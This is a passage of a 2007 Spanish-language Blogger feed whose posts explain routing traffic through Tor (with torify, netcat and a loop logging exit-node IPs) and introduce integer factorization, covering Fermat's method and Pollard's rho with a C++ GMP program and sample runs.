www.google.com 80&lt;br /&gt;&lt;br /&gt;# En otro terminal&lt;br /&gt;$  netstat  | grep ESTABLISHED&lt;br /&gt;tcp        0      0 192.168.1.69:34362          nf-in-f99.google.com:http   ESTABLISHED&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Sin embargo, torificando netcat los resultados son diferentes.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ torify nc www.google.com 80&lt;br /&gt;&lt;br /&gt;# En otro terminal&lt;br /&gt;$ netstat  | grep ESTABLISHED&lt;br /&gt;tcp        0      0 192.168.1.69:34352          tor.outra.net:9090          ESTABLISHED&lt;br /&gt;tcp        0      0 192.168.1.69:34351          cyberphunk.eu:9001          ESTABLISHED&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Queda claro que no saltamos directamente al servidor de google sino que entramos en la red Tor. Veamos ahora con que dirección IP llegamos a nuestro destino. Necesitaremos una web que nos diga la dirección IP (&lt;a href="http://www.vermiip.es/"&gt;http://www.vermiip.es/&lt;/a&gt;) y otra que nos diga la localización geográfica (&lt;a href="http://www.ip2location.com/free.asp"&gt;http://www.ip2location.com/free.asp&lt;/a&gt;),&lt;br /&gt;&lt;br /&gt;Esto nos permitirá obtener la IP con el comando:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ torify lynx --dump http://www.vermiip.com 2&gt;/dev/null | grep "Tu ip" | cut -c 18-30&lt;br /&gt;85.214.63.25&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Y su localización geográfica:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ torify lynx --dump http://www.ip2location.com/free.asp?ipaddresses=85.214.63.25 \&lt;br /&gt;2&gt;/dev/null | grep "85.214.63.25\|mapit" |  sed -e 's/\[.*\]//'&lt;br /&gt;          85.214.63.25 DE GERMANY&lt;br /&gt;BERLIN BERLIN STRATO RECHENZENTRUM BERLIN&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;De esta manera podemos construir un sencillo script que nos de el listado de nodos de salida de Tor.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ cat  print_tor_nodes.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;while true; do&lt;br /&gt;&lt;br /&gt;IP=`torify lynx --dump http://www.vermiip.com 2&gt;/dev/null | grep "Tu ip" | cut -c 18-30`;&lt;br /&gt;&lt;br /&gt;DATA=`torify lynx --dump http://www.ip2location.com/free.asp?ipaddresses="$IP" \&lt;br /&gt;2&gt;/dev/null | grep "$IP\|mapit" |  sed -e 's/\[.*\]//'`&lt;br /&gt;&lt;br /&gt;echo $DATA&lt;br /&gt;sleep 300&lt;br /&gt;&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Del que extraemos el siguiente listado, que nos permite ver los nodos que nos dan acceso a Internet en último lugar.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;208.64.29.34 US UNITED STATES NEW YORK NEW YORK R &amp;amp; D TECHNOLOGIES LLC&lt;br /&gt;217.20.117.1 DE GERMANY BERLIN BERLIN NETDIREKT E. K&lt;br /&gt;128.197.11.3 US UNITED STATES MASSACHUSETTS BOSTON BOSTON UNIVERSITY&lt;br /&gt;88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS&lt;br /&gt;88.191.25.27 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS&lt;br /&gt;89.149.207.1 DE GERMANY BERLIN BERLIN NETDIREKT E.K&lt;br /&gt;87.234.124.1 DE GERMANY BERLIN BERLIN QSC AG DYNAMIC IP ADDRESSES&lt;br /&gt;88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS&lt;br /&gt;87.234.124.1 DE GERMANY BERLIN BERLIN QSC AG DYNAMIC IP ADDRESSES&lt;br /&gt;88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS&lt;br /&gt;128.197.11.3 US UNITED STATES MASSACHUSETTS BOSTON BOSTON UNIVERSITY&lt;br /&gt;75.72.79.46 US UNITED STATES&lt;br /&gt;203.26.16.68 AU AUSTRALIA NEW SOUTH WALES WEST WYALONG TPG INTERNET PTY LTD&lt;br /&gt;88.191.11.18 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS&lt;br /&gt;88.198.50.14 DE GERMANY - - HETZNER-RZ-NBG-NET&lt;br /&gt;83.243.80.77 DE GERMANY BERLIN BERLIN SERVERCREW LTD. PI&lt;br /&gt;88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS&lt;br /&gt;209.160.32.1 US UNITED STATES DISTRICT OF COLUMBIA WASHINGTON HOPONE INTERNET CORPORATION&lt;br /&gt;60.167.39.24 CN CHINA BEIJING BEIJING CHINANET ANHUI PROVINCE NETWORK&lt;br /&gt;83.217.66.50 BE BELGIUM OOST-VLAANDEREN DENDERMONDE NMV-CUST-DIGITALROOT&lt;br /&gt;128.2.141.33 US UNITED STATES PENNSYLVANIA PITTSBURGH CARNEGIE MELLON UNIVERSITY83.171.182.9 DE GERMANY BAYERN NüRNBERG MNET TELEKOMMUNIKATION GMBH&lt;br /&gt;85.214.63.25 DE GERMANY BERLIN BERLIN STRATO RECHENZENTRUM BERLIN&lt;br /&gt;74.208.46.15 US UNITED STATES NEW YORK NEW YORK 1&amp;amp;1 INTERNET INC&lt;br /&gt;122.145.8.19 JP JAPAN - - FREEBIT CO. LTD&lt;br /&gt;71.226.252.2 US UNITED STATES PENNSYLVANIA WEST CHESTER COMCAST CABLE COMMUNICATIONS INC&lt;br /&gt;83.233.181.9 SE SWEDEN - - PROVIDER LOCAL REGISTRY&lt;br /&gt;166.70.207.2 US UNITED STATES UTAH SALT LAKE CITY XMISSION&lt;br /&gt;195.71.90.10 DE GERMANY - - PROVIDER LOCAL REGISTRY&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Respecto al script anterior, realiza un sleep de cinco minutos antes de reintentar, lo que hace el procese extremadamente lento. Si se reinicia Tor antes de cada petición el circuito se crea de nuevo y se obtiene un nodo diferente. De esta manera puede suprimirse el sleep del script.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En el momento de escribir este artículo la red Tor es relativamente pequeña, lo que disminuye notablemente el grado de anonimato. Aunque, sin duda, tiene un futuro prometedor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;- Tor Project: &lt;a href="http://www.torproject.org/"&gt;http://www.torproject.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4921797448289676968?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4921797448289676968/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4921797448289676968' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4921797448289676968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4921797448289676968'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/10/introduccin-las-redes-tor.html' title='Introducción a las redes Tor'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_q551Ajwo8ak/RyiOtrokscI/AAAAAAAAAEc/9ld5y9jdhX8/s72-c/tor.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4809448469218110808</id><published>2007-10-25T23:37:00.000-07:00</published><updated>2008-12-04T01:28:25.157-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Factorización'/><title type='text'>Factorización II: Rho de Pollard</title><content type='html'>&lt;div style="text-align: justify;"&gt;Continuando con la serie de artículos sobre factorización, hoy veremos el método Rho de &lt;a href="http://en.wikipedia.org/wiki/John_Pollard_%28mathematician%29"&gt;Pollard&lt;/a&gt;. Un instructivo algoritmo que permite factorizar números bastante más grandes que los que podríamos factorizar mediante divisiones sucesivas de números primos o aplicando directamente el método de Fermat, tal y como vimos en "&lt;a href="http://h4ck1t.blogspot.com/2007/10/factorizacin-i-introduccin.html"&gt;Factorización I: Introducción&lt;/a&gt;".&lt;br /&gt;&lt;br /&gt;A lo largo de este artículo (y de los siguientes) se usará la operación mod. Esta operación representa el resto de una división entera. Por ejemplo 6 mod 5 =1 pues si dividimos seis entre cinco la division no es exacta, dado que tiene resto 1. Otros ejemplos pueden ser: 101 mod 99 = 2, 4^2 mod 15=1 o 33² mod 989 = 10².&lt;br /&gt;&lt;br /&gt;Ahora supongamos que tenemos la ecuación F(x)=x² mod n. Si aplicamos esta ecuación para diferentes valores de x queda claro que el resultado siempre será menor que n. Por lo tanto, si aplicamos la ecuación para diferentes valores de x es lógico pensar en que en algun momento los resultados empezarán a repetirse, pues son finitos!&lt;br /&gt;&lt;br /&gt;Veamos un ejemplo para n=323, empezando por ejemplo con x=2.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(2) = 2² mod 323 = 4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(4) = 4² mod 323 = 16&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(16) = 16² mod 323 = 256&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(256) = 256² mod 323 = 290&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(290) = 290² mod 323 = 120&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(120) = 120² mod 323 = 188&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(188) = 188² mod 323 = 137&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;F(137) = 137² mod 323 = 35&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;F(35) = 35² mod 323 = 256&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;F(256) = 16² mod 323 = 290&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;F(290) = 290² mod 323 = 120&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Como se ve marcado en rojo, a partir de F(35) los resultados empiezan a repetirse, entrando en un ciclo.&lt;br /&gt;&lt;br /&gt;Si representamos en un dibujo los resultados obtenidos vemos que su forma es similar al de la letra griega rho. Lo que da nombre al algoritmo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/RyGlkboksZI/AAAAAAAAAEE/B4LUuHfaqbA/s1600-h/rho_323.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/RyGlkboksZI/AAAAAAAAAEE/B4LUuHfaqbA/s400/rho_323.jpg" alt="" id="BLOGGER_PHOTO_ID_5125559896236142994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El algoritmo Rho de Pollard&lt;/span&gt; permite encontrar ciclos cuando se trabaja con grupos donde los elementos son finitos. De manera que lo único que hemos hecho hasta ahora es encontrar un ciclo en un campo de números finitos con n=323. Pero, ¿Cómo aplicar esto para factorizar?&lt;br /&gt;&lt;br /&gt;Si nos fijamos bien en la Rho dibujada vemos un hecho interesante producido al cerrar el ciclo. Llegamos al número 256 tanto a partir de 16² como a partir de 35². Este hecho, conocido como colisión, nos permite ver que 35²=16² mod 323. Lo que se conoce como &lt;span style="font-weight: bold;"&gt;congruencia&lt;/span&gt; y significa que 35² mod 323 = 16². Así pues, de forma similar a como vimos en el método de Fermat encontraremos un factor p mediante 35-16=19.&lt;br /&gt;&lt;br /&gt;Resumiendo, el algoritmo Rho de Pollard nor permitirá encontrar colisiones, que a su vez nos permitiran encontrar un factor de n.&lt;br /&gt;&lt;br /&gt;Para aplicar el método Rho de Pollard tal y como lo hemos visto, es necesario almacenar todos los elementos y compararlos con los elementos nuevos que se van generando. Esto es muy costoso tanto en tiempo como en espacio. Afortunadamente, existe una variación conocida como método de Floyd para encontrar ciclos, que permite encontrar una colisición sin almacenar apenas datos. Este método consiste en mantener dos valores. El primero recorrera en cada paso un elemento de la Rho, el segundo recorrerá dos. El tiempo estimado en el que ambos se encontrarán de nuevo, formando una colisión, es en el peor de los casos la raiz de n.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Algoritmo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Elegir un entero aleatorio a entre 1 y n-3.&lt;br /&gt;2. Elegir un entero aleatorio s entre 0 y n-1.&lt;br /&gt;3. Inicializar U=V=s;&lt;br /&gt;4. Calcular U=F(U), V=F(F(V)));&lt;br /&gt;5. Si MCD(U-V, n) = 1, volver al punto 4.&lt;br /&gt;6. Si MCD(U-V, n) = n, volver al punto 1.&lt;br /&gt;7. MCD(U-V, n) es un factor de n.&lt;br /&gt;&lt;br /&gt;NOTA: MCD=Máximo Común Divisor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hemos visto que el tiempo estimado para factorizar un número es de raiz de n en el peor de los casos. Pero existe una manera de mejorar considerablemente el tiempo de resolución del algoritmo cuando se dispone de cierta información sobre uno de los factores de n.&lt;br /&gt;&lt;br /&gt;Se estima que usando F(x)=x^(2k) +a mod n, el número de iteraciones necesarias para encontrar un factor de n es de c*RAIZ(p)/RAIZ(MCD(p-1,2K)-1).&lt;br /&gt;Es decir, quanto más factores comunes existan entre p-1 y 2k, menor será el número de iteraciones necesario para encontrar p.&lt;br /&gt;Si no sabemos que factores puede tener p-1 puede ser útil calcular el factorial de un número B y usarlo como k: k=B!. Cuanto más grande sea B menos operaciones seran necesarias para encontrar el factor. Pero tampoco se puede abusar del tamaño de B, pues para valores demasiado grandes el tiempo por iteración será muy elevado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Veamos un ejemplo usando el programa rho_2k.cpp que pego al final:&lt;br /&gt;&lt;br /&gt;$ g++ -lgmpxx rho_2k.cpp -o rho_2k&lt;br /&gt;$ ./rho_2k [n number]  [B bound]&lt;br /&gt;&lt;br /&gt;El primer parámetro es el número que queremos factorizar, el segundo el número B que usaremos para calcular k mediante su factorial.&lt;br /&gt;&lt;br /&gt;Intentemos factorizar el número de 32 bits: 2930992620606930277. Primero con B=1, que equivale a k=1:&lt;br /&gt;&lt;br /&gt;$ ./rho_2k 2930992620606930277 1&lt;br /&gt;factor: 1065951967&lt;br /&gt;count: 19188&lt;br /&gt;&lt;br /&gt;Hemos necesitado 19.188 operaciones. Intentemoslo ahora con B=10:&lt;br /&gt;&lt;br /&gt;./rho_2k 2930992620606930277 10&lt;br /&gt;factor: 2749647931&lt;br /&gt;count: 9516&lt;br /&gt;&lt;br /&gt;El número de iteraciones baja. Con B=100:&lt;br /&gt;&lt;br /&gt;./rho_2k 2930992620606930277 100&lt;br /&gt;factor: 2749647931&lt;br /&gt;count: 50&lt;br /&gt;&lt;br /&gt;Como podemos observar la mejora es tangible. Finalmente con B=1000:&lt;br /&gt;&lt;br /&gt;./rho_2k 2930992620606930277 700&lt;br /&gt;factor: 2749647931&lt;br /&gt;count: 1&lt;br /&gt;&lt;br /&gt;En una sola operacion!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hemos visto que cuantos más factores coinciden entre p-1 i k mejores son los resultados. Hasta el punto de que si todos los factores de p-1 estan en k, se resuelve la factorización en una sola operación. Sin embargo B no puede incrementarse indefinicademente, pues el factorial crece muy rápido, y no tardaremos en llegar a valores que relentizarán demasiado las operaciones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finalmente dejo una copia del programa usado:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;gmpxx.h&amp;gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;&lt;br /&gt;// F(x) = x^2k + a mod n&lt;br /&gt;mpz_class F(mpz_class &amp;amp;x, mpz_class &amp;amp;k, mpz_class &amp;amp;a, mpz_class &amp;amp;n)&lt;br /&gt;{&lt;br /&gt;  mpz_class res;&lt;br /&gt;  mpz_class pow;&lt;br /&gt;&lt;br /&gt;  pow = 2*k;&lt;br /&gt;  mpz_powm(res.get_mpz_t(), x.get_mpz_t(), pow.get_mpz_t(), n.get_mpz_t());&lt;br /&gt;  res += a;&lt;br /&gt;&lt;br /&gt;  return res;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;  using namespace std;&lt;br /&gt;&lt;br /&gt;  mpz_class n;&lt;br /&gt;  mpz_class U;&lt;br /&gt;  mpz_class V;&lt;br /&gt;  mpz_class s;&lt;br /&gt;  mpz_class g;&lt;br /&gt;  mpz_class k;&lt;br /&gt;  mpz_class a;&lt;br /&gt;  mpz_class count;&lt;br /&gt;&lt;br /&gt;  if (argc!=3)&lt;br /&gt;  {&lt;br /&gt;     cout &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; " [n number]  [B bound]" &amp;lt;&amp;lt; endl;&lt;br /&gt;     return 0;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  n = argv[1];&lt;br /&gt;  int B = atoi(argv[2]);&lt;br /&gt;  count = 0;&lt;br /&gt;  s = 2;&lt;br /&gt;  U = s;&lt;br /&gt;  V = s;&lt;br /&gt;  g = 1;&lt;br /&gt;&lt;br /&gt;  mpz_fac_ui(k.get_mpz_t(), B);&lt;br /&gt;  a = 3;&lt;br /&gt;&lt;br /&gt;  while(g==1)&lt;br /&gt;  {&lt;br /&gt;     U = F(U, k, a, n);&lt;br /&gt;     V = F(V, k, a, n);&lt;br /&gt;     V = F(V, k, a, n);&lt;br /&gt;&lt;br /&gt;     g = U-V;&lt;br /&gt;     mpz_gcd(g.get_mpz_t(), g.get_mpz_t(), n.get_mpz_t());&lt;br /&gt;&lt;br /&gt;     if(g==n)&lt;br /&gt;     {&lt;br /&gt;        cout &amp;lt;&amp;lt; "bad seed" &amp;lt;&amp;lt; endl;&lt;br /&gt;        U++;&lt;br /&gt;        V++;&lt;br /&gt;        g=1;&lt;br /&gt;     }&lt;br /&gt;     count ++;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; "factor: " &amp;lt;&amp;lt; g &amp;lt;&amp;lt; endl;&lt;br /&gt;  cout &amp;lt;&amp;lt; "count: " &amp;lt;&amp;lt; count &amp;lt;&amp;lt; endl;&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;- Prime Numbers, A Computational Perspective. Crandall &amp;amp; Pomerance. Ed Springer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4809448469218110808?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4809448469218110808/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4809448469218110808' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4809448469218110808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4809448469218110808'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/10/factorizacin-ii-rho-de-pollard.html' title='Factorización II: Rho de Pollard'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_q551Ajwo8ak/RyGlkboksZI/AAAAAAAAAEE/B4LUuHfaqbA/s72-c/rho_323.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5461260907020464780</id><published>2007-10-24T22:41:00.000-07:00</published><updated>2008-12-04T01:28:25.686-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Factorización'/><title type='text'>Factorización I: Introducción</title><content type='html'>&lt;div style="text-align: justify;"&gt;Ya hablamos de la importancia que tiene la factorización en criptografía en  "&lt;a href="http://h4ck1t.blogspot.com/2007/05/rompiendo-claves-rsa.html"&gt;Rompiendo claves RSA&lt;/a&gt;". En esta serie de artículos se hará un repaso a los algoritmos usados para factorizar números grandes, empezando por los algoritmos más básicos hasta llegar a los más actuales y modernos sistemas, que permiten factorizar números de más de 150 dígitos decimales.&lt;br /&gt;&lt;br /&gt;Como veremos, existen decenas de algoritmos de factorización, pero los más destacados por su mayor velocidad (o menor complejidad) son:&lt;br /&gt;&lt;br /&gt;- Quadratic Sive (&lt;a href="http://en.wikipedia.org/wiki/Quadratic_sieve"&gt;QS&lt;/a&gt;): El algoritmo más rápido para factorizar números grandes de propósito general menores de 110 dígitos decimales (aproximadamente).&lt;br /&gt;&lt;br /&gt;- Number Field Sieve (&lt;a href="http://en.wikipedia.org/wiki/General_number_field_sieve"&gt;NFS&lt;/a&gt;): El algoritmo más rápido para factorizar números grandes de propósito general mayores de 110 dígitos decimales (aproximadamente).&lt;br /&gt;&lt;br /&gt;- Elliptic Curve Method (&lt;a href="http://en.wikipedia.org/wiki/Lenstra_elliptic_curve_factorization"&gt;ECM&lt;/a&gt;): El algoritmo más rápido para factorizar números grandes cuando uno de los factores es relativamente pequeño.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;Estos tres algoritmos tienen un complejidad subexponencial que es lo más rápido que se ha conseguido llegar en el campo de la factorización. Si se encontrase un algoritmo de complejidad &lt;a href="http://en.wikipedia.org/wiki/Polynomial_time"&gt;polinómica&lt;/a&gt;, podríamos decir que el problema de la factorización queda resuelto y dejaría de poder utilizarse en criptografía. Esto significaría, entre otras cosas, el fin de algoritmos como RSA.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: justify;"&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;Los algoritmos QS i NFS se basan en una vieja estratégia atribuída al genial matemático &lt;a href="http://en.wikipedia.org/wiki/Pierre_de_Fermat"&gt;Pierre de Fermat&lt;/a&gt;. La vemos a continuación:&lt;/span&gt;&lt;br /&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;Supongamos que disponemos de un número &lt;span style="font-weight: bold;"&gt;n&lt;/span&gt; del cual queremos obtener su representación como multiplicación de dos factores, es decir &lt;span style="font-weight: bold;"&gt;n=pq&lt;/span&gt;. Ecuación que también podríamos representar como &lt;span style="font-weight: bold;"&gt;n=(x+y)(x-y)&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Si encontramos dos números enteros positivos que cumlan la ecuación de manera que &lt;span style="font-weight: bold;"&gt;x-y&lt;/span&gt; sea mayor que 1, diremos que hemos encontrado un factor no trivial de &lt;span style="font-weight: bold;"&gt;n&lt;/span&gt;, quedando el problema resuelto. Pero para buscar a y b cambiaremos el enfoque del problema.&lt;br /&gt;&lt;br /&gt;Sabemos que &lt;span style="font-weight: bold;"&gt;(x+y)(x-y)=x²-y²&lt;/span&gt; , lo que nos permite un cambio de estrategia importante, pues ya no tenemos que buscar directamente factores de &lt;span style="font-weight: bold;"&gt;n&lt;/span&gt;,  sino  parejas de cuadrados cuya diferencia sea &lt;span style="font-weight: bold;"&gt;n&lt;/span&gt;.&lt;/span&gt;&lt;br /&gt;Veamos un ejemplo para n=989. Si realizamos una búsqueda de cuadrados empezando por la raiz entera de 989, es decir 31, tenemos que 32²-989=35 no es cuadrado, continuamos, 33³-989=100 y bingo! Pues vemos que 33²-10²=989. Partiendo de la fórmula anterior tenemos que el factor p corresponde a &lt;span style="font-weight: bold;"&gt;p=33-10=23&lt;/span&gt; y el factor q corresponde a &lt;span style="font-weight: bold;"&gt;q=33+10=43&lt;/span&gt;. Quedando n factorizado como 989=23*43.&lt;br /&gt;&lt;br /&gt;El método utilizado puede parecer muy rápido, pues hemos factorizado el 989 en solo dos operaciones. Si nos hubiesemos dedicado a probar con todos los números primos menores que 31 habríamos necesitado 9 operaciones! (2, 3, 5, 7, 11, 13, 17, 19, 23). Pero lo cierto es que cuando tratamos de factorizar números más grandes vemos que el enfoque no es el adecuado, pues resulta extremadamente lento.&lt;br /&gt;&lt;br /&gt;Lo que debemos tener en cuenta de la idea de Fermat es que proporciona una estrategia diferente para atacar el problema, de manera que pasamos de buscar factores de n a buscar diferencias de cuadrados. Como veremos en próximos artículos, esta estratégia se usa con éxito en los algoritmos QS y NFS.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5461260907020464780?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5461260907020464780/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5461260907020464780' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5461260907020464780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5461260907020464780'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/10/factorizacin-i-introduccin.html' title='Factorización I: Introducción'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 